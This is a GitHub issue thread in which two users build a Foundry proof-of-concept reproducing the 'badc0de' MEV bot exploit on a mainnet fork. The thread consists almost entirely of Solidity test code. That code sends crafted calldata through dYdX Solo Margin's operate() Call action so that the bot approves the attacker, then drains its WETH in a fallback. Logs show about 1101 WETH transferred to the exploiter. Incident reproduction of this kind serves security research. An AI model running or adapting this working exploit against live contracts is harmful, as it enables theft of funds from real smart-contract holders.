POC Badc0de
eugenioclrc opened this issue · 4 comments
eugenioclrc commented
Hi guys im trying to make a poc of badc0de mev issue;
https://rekt.news/ripmevbot/
This is what i got so far...
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
interface Structs {
struct Val {
uint256 value;
}
enum ActionType {
Deposit, // supply tokens
Withdraw, // borrow tokens
Transfer, // transfer balance between accounts
Buy, // buy an amount of some token (externally)
Sell, // sell an amount of some token (externally)
Trade, // trade tokens against another account
Liquidate, // liquidate an undercollateralized or expiring account
Vaporize, // use excess tokens to zero-out a completely negative account
Call // send arbitrary data to an address
}
enum AssetDenomination {
Wei // the amount is denominated in wei
}
enum AssetReference {
Delta // the amount is given as a delta from the current value
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct Info {
address owner; // The address that owns the account
uint256 number; // A nonce that allows a single address to control many accounts
}
struct Wei {
bool sign; // true if positive
uint256 value;
}
}
interface DyDxPool is Structs {
function getAccountWei(Info memory account, uint256 marketId) external view returns (Wei memory);
function operate(Info[] memory, ActionArgs[] memory) external;
}
contract ContractTest is Test {
WETH weth = WETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
DyDxPool pool = DyDxPool(0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e); //this is dydx solo margin sc
address exploiter;
address MEVBOT = 0xbaDc0dEfAfCF6d4239BDF0b66da4D7Bd36fCF05A;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
exploiter = cheats.addr(31337);
// fork mainnet at block 15625424
cheats.createSelectFork("mainnet", 15625424 );
}
function testExploit() public {
console.log("MEV Bot balance before exploit:", weth.balanceOf(MEVBOT));
Structs.Info[] memory _infos = new Structs.Info[](1);
_infos[0] = Structs.Info({owner: address(this), number: 1});
Structs.ActionArgs[] memory _args = new Structs.ActionArgs[](1);
_args[0] = Structs.ActionArgs(
// ActionType actionType;
Structs.ActionType.Call,
// uint256 accountId;
0,
// AssetAmount amount;
Structs.AssetAmount(
// bool sign; // true if positive
false,
// AssetDenomination denomination;
Structs.AssetDenomination.Wei,
// AssetReference ref;
Structs.AssetReference.Delta,
// uint256 value;
0
),
// uint256 primaryMarketId;
0,
// uint256 secondaryMarketId;
0,
// address otherAddress;
MEVBOT,
// uint256 otherAccountId;
0,
// bytes data;
abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max)
// go()
);
pool.operate(_infos, _args);
}
function go() internal view returns(bytes memory) {
return abi.encode(
0x0000000000000000000000000000000000000000000000000000000000000003,
address(pool),
0x0000000000000000000000000000000000000000000000000000000000000000,
0x0000000000000000000000000000000000000000000000000000000000000000,
0x0000000000000000000000000000000000000000000000000000000000000000,
0x00000000000000000000000000000000000000000000000000000000000000e0,
0x000000000000000000000000000000000000000000000beff1ceef246ef7bd1f,
0x0000000000000000000000000000000000000000000000000000000000000001,
0x0000000000000000000000000000000000000000000000000000000000000020,
0x0000000000000000000000000000000000000000000000000000000000000000,
0x0000000000000000000000000000000000000000000000000000000000000000,
address(this),
address(weth),
0x00000000000000000000000000000000000000000000000000000000000000a0,
address(this),
0x0000000000000000000000000000000000000000000000000000000000000040,
0x00000000000000000000000000000000000000000000000000000000000000a0,
0x0000000000000000000000000000000000000000000000000000000000000004,
0x4798ce5b00000000000000000000000000000000000000000000000000000000,
0x0000000000000000000000000000000000000000000000000000000000000002,
0x0000000000000000000000000000000000000000000000000000000000000004,
0x0000000000000000000000000000000000000000000000000000000000000001,
0x0000000000000000000000000000000000000000000000000000000000000001,
0x0000000000000000000000000000000000000000000000000000000000000002,
0x0000000000000000000000000000000000000000000000000000000000000002
);
}
}
Kayaba-Attribution commented
Try like this:
function go() internal view returns(bytes memory) {
return bytes.concat(
abi.encode(
0x0000000000000000000000000000000000000000000000000000000000000003,
address(pool),
0x0000000000000000000000000000000000000000000000000000000000000000,
0x0000000000000000000000000000000000000000000000000000000000000000,
0x0000000000000000000000000000000000000000000000000000000000000000,
0x00000000000000000000000000000000000000000000000000000000000000e0,
0x000000000000000000000000000000000000000000000beff1ceef246ef7bd1f,
0x0000000000000000000000000000000000000000000000000000000000000001,
0x0000000000000000000000000000000000000000000000000000000000000020,
0x0000000000000000000000000000000000000000000000000000000000000000,
0x0000000000000000000000000000000000000000000000000000000000000000,
address(this),
address(weth)
),
abi.encode(
0x00000000000000000000000000000000000000000000000000000000000000a0,
address(this),
0x0000000000000000000000000000000000000000000000000000000000000040,
0x00000000000000000000000000000000000000000000000000000000000000a0,
0x0000000000000000000000000000000000000000000000000000000000000004,
0x4798ce5b00000000000000000000000000000000000000000000000000000000,
0x0000000000000000000000000000000000000000000000000000000000000002,
0x0000000000000000000000000000000000000000000000000000000000000004,
0x0000000000000000000000000000000000000000000000000000000000000001,
0x0000000000000000000000000000000000000000000000000000000000000001,
0x0000000000000000000000000000000000000000000000000000000000000002,
0x0000000000000000000000000000000000000000000000000000000000000002
)
);
}
Kayaba-Attribution commented
Also would use:
emit log_named_decimal_uint(
"MEV Bot balance before exploit:",
weth.balanceOf(MEVBOT),
18
);
instead of console.log
Kayaba-Attribution commented
Got it working! I had to use fallback because of some weird behavior tho.
Let me know if you figure out how to solve that!
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
interface Structs {
struct Val {
uint256 value;
}
enum ActionType {
Deposit, // supply tokens
Withdraw, // borrow tokens
Transfer, // transfer balance between accounts
Buy, // buy an amount of some token (externally)
Sell, // sell an amount of some token (externally)
Trade, // trade tokens against another account
Liquidate, // liquidate an undercollateralized or expiring account
Vaporize, // use excess tokens to zero-out a completely negative account
Call // send arbitrary data to an address
}
enum AssetDenomination {
Wei // the amount is denominated in wei
}
enum AssetReference {
Delta // the amount is given as a delta from the current value
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct Info {
address owner; // The address that owns the account
uint256 number; // A nonce that allows a single address to control many accounts
}
struct Wei {
bool sign; // true if positive
uint256 value;
}
}
library Account {
struct Info {
address owner;
uint256 number;
}
}
interface DyDxPool is Structs {
function getAccountWei(Info memory account, uint256 marketId) external view returns (Wei memory);
function operate(Info[] memory, ActionArgs[] memory) external;
}
contract ContractTest is Test {
IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
DyDxPool pool = DyDxPool(0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e); //this is dydx solo margin sc
address exploiter;
address MEVBOT = 0xbaDc0dEfAfCF6d4239BDF0b66da4D7Bd36fCF05A;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
exploiter = cheats.addr(31337);
// fork mainnet at block 15625424
cheats.createSelectFork("mainnet", 15625424 );
}
function testExploit() public {
emit log_named_decimal_uint(
"MEV Bot balance before exploit:",
weth.balanceOf(MEVBOT),
18
);
Structs.Info[] memory _infos = new Structs.Info[](1);
_infos[0] = Structs.Info({owner: address(this), number: 1});
Structs.ActionArgs[] memory _args = new Structs.ActionArgs[](1);
_args[0] = Structs.ActionArgs(
// ActionType actionType;
Structs.ActionType.Call,
// uint256 accountId;
0,
// AssetAmount amount;
Structs.AssetAmount(
// bool sign; // true if positive
false,
// AssetDenomination denomination;
Structs.AssetDenomination.Wei,
// AssetReference ref;
Structs.AssetReference.Delta,
// uint256 value;
0
),
// uint256 primaryMarketId;
0,
// uint256 secondaryMarketId;
0,
// address otherAddress;
MEVBOT,
// uint256 otherAccountId;
0,
// bytes data;
//abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max)
go()
);
pool.operate(_infos, _args);
}
function go() internal view returns(bytes memory) {
return bytes.concat(
abi.encode(
0x0000000000000000000000000000000000000000000000000000000000000003,
address(pool),
0x0000000000000000000000000000000000000000000000000000000000000000,
0x0000000000000000000000000000000000000000000000000000000000000000,
0x0000000000000000000000000000000000000000000000000000000000000000,
0x00000000000000000000000000000000000000000000000000000000000000e0,
0x000000000000000000000000000000000000000000000beff1ceef246ef7bd1f,
0x0000000000000000000000000000000000000000000000000000000000000001,
0x0000000000000000000000000000000000000000000000000000000000000020,
0x0000000000000000000000000000000000000000000000000000000000000000,
0x0000000000000000000000000000000000000000000000000000000000000000,
address(this),
address(weth)
),
abi.encode(
0x00000000000000000000000000000000000000000000000000000000000000a0,
address(this),
0x0000000000000000000000000000000000000000000000000000000000000040,
0x00000000000000000000000000000000000000000000000000000000000000a0,
0x0000000000000000000000000000000000000000000000000000000000000004,
0x4798ce5b00000000000000000000000000000000000000000000000000000000,
0x0000000000000000000000000000000000000000000000000000000000000002,
0x0000000000000000000000000000000000000000000000000000000000000004,
0x0000000000000000000000000000000000000000000000000000000000000001,
0x0000000000000000000000000000000000000000000000000000000000000001,
0x0000000000000000000000000000000000000000000000000000000000000002,
0x0000000000000000000000000000000000000000000000000000000000000002
)
);
}
/**
For some reason it calls a 00000000 function on our contract.
By changing values on the encode args we can proabaly change the func signature
Meanwhile we can add a fallback and run our logic in there.
ContractTest::00000000(000000000000000000000000000000000000000000000000000000044798ce5b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000beff1ceef246ef7bd1f00000000000000000000000000000000000000000000000000000001)
Running 1 test for src/test/BadCode_exp.sol:ContractTest
[PASS] testExploit() (gas: 162319)
Logs:
MEV Bot balance before exploit:: 1101.359974579155257683
Contract BADCODE WETH Allowance: 56372227.272130782805279000
MEV Bot WETH balance After exploit:: 0.000000000000000000
Eploiter WETH balance After exploit:: 1101.359974579155257683
*/
fallback() external{
emit log_named_decimal_uint(
"Contract BADCODE WETH Allowance",
weth.allowance(MEVBOT, address(this)),
18
);
weth.transferFrom(MEVBOT, exploiter, weth.balanceOf(MEVBOT));
emit log_named_decimal_uint(
"MEV Bot WETH balance After exploit:",
weth.balanceOf(MEVBOT),
18
);
emit log_named_decimal_uint(
"Eploiter WETH balance After exploit:",
weth.balanceOf(exploiter),
18
);
}
}
eugenioclrc commented
Hoo you which boy!